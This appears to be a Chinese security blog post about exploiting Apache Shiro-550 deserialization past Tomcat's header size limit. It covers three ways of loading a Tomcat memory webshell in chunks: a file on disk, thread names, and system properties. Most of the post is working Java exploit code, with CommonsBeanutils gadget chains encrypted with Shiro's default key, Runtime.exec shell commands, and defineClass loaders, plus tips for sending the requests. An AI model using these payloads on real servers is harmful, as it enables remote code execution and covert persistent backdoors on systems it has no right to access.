林花谢了春红,太匆匆。无奈朝来寒雨晚来风。
胭脂泪,相留醉,几时重。自是人生长恨水长东。
总结一下技巧吧,师傅们太猛了,浅浅搬个砖
相遇
首先看到pen4uin师傅的文章:记一次 Shiro 的实战利用
利用到的是文件落地+追加的方式,也是最基础的一种
简单演示一遍
首先使用JMG生成Tomcat内存马,输出格式为BASE64
将结果放入[payload]
中,限制每组长度为1000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import javassist.ClassPool; import javassist.CtClass;
public class WriteFile { public static void main(String[] args) throws Exception{ String base64 = [payload]; int groupSize = 1000; int length = base64.length(); int startIndex = 0; int endIndex = Math.min(length, groupSize); int a = 1; while (startIndex < length) { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass(String.valueOf(a)); payload.setSuperclass(classPool.get(AbstractTranslet)); String group = base64.substring(startIndex, endIndex); startIndex = endIndex; endIndex = Math.min(startIndex + groupSize, length); String cmd = "{String[] strs = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", \"echo "+group+"> 1.txt\"} : new String[]{\"/bin/sh\", \"-c\", \"echo "+group+"> 1.txt\"};\n"+"java.lang.Runtime.getRuntime().exec(strs);}"; if(a>=2){ cmd = "{String[] strs = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", \"echo "+group+">> 1.txt\"} : new String[]{\"/bin/sh\", \"-c\", \"echo "+group+">> 1.txt\"};\n"+"java.lang.Runtime.getRuntime().exec(strs);}"; }
payload.makeClassInitializer().setBody(cmd); byte[] bytes=payload.toBytecode(); System.out.println(new CommonsBeanutilsString().getPayload(bytes)); a++; } } }
|
这里需要找一个可写的路径,linux可以为/tmp
目录下
CB的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CommonsBeanutilsString { public String getPayload(byte[] bytes) throws Exception{ TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", ""); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close();
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); AesCipherService aes = new AesCipherService(); ByteSource ciphertext = aes.encrypt(baos.toByteArray(), key); return ciphertext.toString(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
得到的payload长度仅仅为3000+,可以说是非常短了,如果需要更短的话将groupSize调小即可
依次执行,验证一下生成的文件
没有问题,最后defineClass加载内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths;
public class ClassLoaderFromFile extends AbstractTranslet { static { try { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); byte[] fileBytes = Files.readAllBytes(Paths.get("./1.txt")); String fileContent = new String(fileBytes, StandardCharsets.UTF_8); String base64Str = fileContent.replace("\r","").replace("\n",""); byte[] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz.newInstance(); } catch (Exception e){} }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
但是,这种方法有一个很明显的弊端,就是存在文件落地,有没有更好的办法呢?
相识
接下来是y4tacker师傅写到的:浅谈Shiro550受Tomcat Header长度限制影响突破
通过线程对象的名字来存储我们的palyload
先看下存储能力
非常轻松就存储了1w+的数据,还是很有实力的
由于每次刷新网页当前线程都会变,所以我们需要遍历线程组,然后指定一个线程的名称,依次添加我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import javassist.ClassPool; import javassist.CtClass;
public class WriteThread { public static void main(String[] args) throws Exception{ String base64 = [payload]; int groupSize = 1000; int length = base64.length(); int startIndex = 0; int endIndex = Math.min(length, groupSize); int a = 1; String cmd = "Thread.currentThread().setName(\"Test\");"; String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("SetName"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody(cmd); byte[] bytes=payload.toBytecode(); String poc = new CommonsBeanutilsString().getPayload(bytes); System.out.println(poc);
while (startIndex < length) { payload=classPool.makeClass(String.valueOf(a)); payload.setSuperclass(classPool.get(AbstractTranslet)); String group = base64.substring(startIndex, endIndex); startIndex = endIndex; endIndex = Math.min(startIndex + groupSize, length); cmd = "{try {\n" + " ThreadGroup a = Thread.currentThread().getThreadGroup();\n" + " java.lang.reflect.Field v2 = a.getClass().getDeclaredField(\"threads\");\n" + " v2.setAccessible(true);\n" + " Thread[] o = (Thread[]) v2.get(a);\n" + " for(int i = 0; i < o.length; ++i) {\n" + " Thread z = o[i];if (z.getName().contains(\"Test\")){\n" + " z.setName(z.getName()+\""+group+"\");\n" + " }\n" + " }\n" + "}catch (Exception e){}}";
payload.makeClassInitializer().setBody(cmd); bytes=payload.toBytecode(); poc = new CommonsBeanutilsString().getPayload(bytes); System.out.println(poc); a++; } } }
|
验证一下,可以看到其中有一个线程名已经被修改为我们指定的内容
加载:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field; import java.lang.reflect.Method;
public class ClassLoaderFromThreadName extends AbstractTranslet { static { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); try { Field threadsField = threadGroup.getClass().getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[]) threadsField.get(threadGroup); for (Thread thread : threads) { if (thread.getName().contains("Test")) { String payload = thread.getName().replaceAll("Test", ""); byte[] clazzByte = org.apache.shiro.codec.Base64.decode(payload); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); ((Class)defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length)).newInstance(); break; } } } catch (Exception e) {} }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
尝试连接
最后记得把线程名改回去即可
相知
虽然通过线程名的方式已经解决了不出网+无落地,但是总归不够优雅
在Firebasky师傅的知识星球中(已经过期了qwq),有位师傅给出了更通俗易懂的方案,应该也是其中最短的吧,非常巧妙
通过System.setProperty
设置系统属性的方式将payload存储在系统属性中
1
| System.setProperty("a","__PAYLOAD__");
|
分块去设置Property,然后通过读取我们设置的内容实现加载
最终给出poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import javassist.ClassPool; import javassist.CtClass;
public class WriteProperty { public static void main(String[] args) throws Exception{ String base64 = [payload]; int groupSize = 1000; int length = base64.length(); int startIndex = 0; int endIndex = Math.min(length, groupSize); int a = 1; String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet);
System.out.println("设置系统属性:"); while (startIndex < length) { CtClass payload=classPool.makeClass(String.valueOf(a)); payload.setSuperclass(classPool.get(AbstractTranslet)); String group = base64.substring(startIndex, endIndex); startIndex = endIndex; endIndex = Math.min(startIndex + groupSize, length); String cmd = "System.setProperty(\""+a+"\",\""+group+"\");";
payload.makeClassInitializer().setBody(cmd); byte[] bytes=payload.toBytecode(); String poc = new CommonsBeanutilsString().getPayload(bytes); System.out.println(poc); a++; } String bytestr =""; for(int i=1;i<=a-1;i++){ if(i<a-1){ bytestr = bytestr + "System.getProperty(\""+i+"\")+"; }else { bytestr = bytestr + "System.getProperty(\""+i+"\");"; } } String cmd = "{try {\n" + "ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" + "String base64Str = "+bytestr+"\n" + "byte[] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\n" + "java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class,int.class,int.class});\n" + "defineClass.setAccessible(true);\n" + "Class clazz = (Class)defineClass.invoke(classLoader,new Object[]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\n" + "clazz.newInstance();\n" + "}catch (Exception e){}}";
CtClass payload=classPool.makeClass("ld"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody(cmd); byte[] bytes=payload.toBytecode(); String poc = new CommonsBeanutilsString().getPayload(bytes); System.out.println("加载字节码:\n"+poc); } }
|
为了不影响系统,加载成功之后可以将值改为null
注意:bp发包的时候取消勾选URL编码,并且设置线程为1
最终效果如下:
第一种方式是将内存马存储在文件当中,而后续两种则是存储在内存当中,更加隐蔽,动静更小
Tomcat默认的header最大长度为8192,正常来说是不需要这么复杂的方案的,仅仅是作为一个思维的扩展
其中还可以对其中的代码长度进一步进行缩小:终极Java反序列化Payload缩小技术